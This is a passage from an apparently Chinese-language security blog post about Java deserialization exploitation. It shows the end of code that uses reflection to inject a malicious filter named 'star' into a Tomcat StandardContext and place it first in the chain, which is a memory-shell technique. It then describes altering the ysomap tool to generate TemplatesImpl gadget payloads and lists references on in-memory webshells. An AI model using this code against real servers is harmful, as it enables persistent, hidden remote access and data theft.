java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class
.getMethod("filterStart",null);
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);

//把filter插到第一位
org.apache.tomcat.util.descriptor.web.FilterMap[] filterMaps = standardContext
.findFilterMaps();
for (int i = 0; i < filterMaps.length; i++) {
if (filterMaps[i].getFilterName().equalsIgnoreCase("star")) {
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMap;
break;
}
}
}
}
}
}
}catch(Exception e){
e.printStackTrace();
}
return new Person();
}

ysomap的改造

  1. 主要就是修改TemplatesImplBullet,使这边创建不同的继承abstractTranslet类,代码直接放在构造器里面就好了。这里改的时候有个坑,就是直接用StubTransletPayload中添加静态块的时候总是出现各种问题,最后就把request的部分放在单独的类的构造器里面。
  2. 写了个TemplatesImplBulletTest测试,生成的.ser直接 cat xx.ser|处理|pbcopy到剪切板很方便。

最后代码放在自己的仓库里面了 https://github.com/stArl23/ysomap

参考

  1. Java代码执行漏洞中类动态加载的应用
  2. 奇安信的java回显综述
  3. 冰蝎内存shell,以后可以搞下
  4. 观星的通杀spring的思路
  5. threedr3am的文章
  6. 雷神众测的spring boot内存shell
  7. ysomap原作者的文章

后续的计划

  1. 争取把哥斯拉和冰蝎的内存shell注册给写了
  2. 继续复现漏洞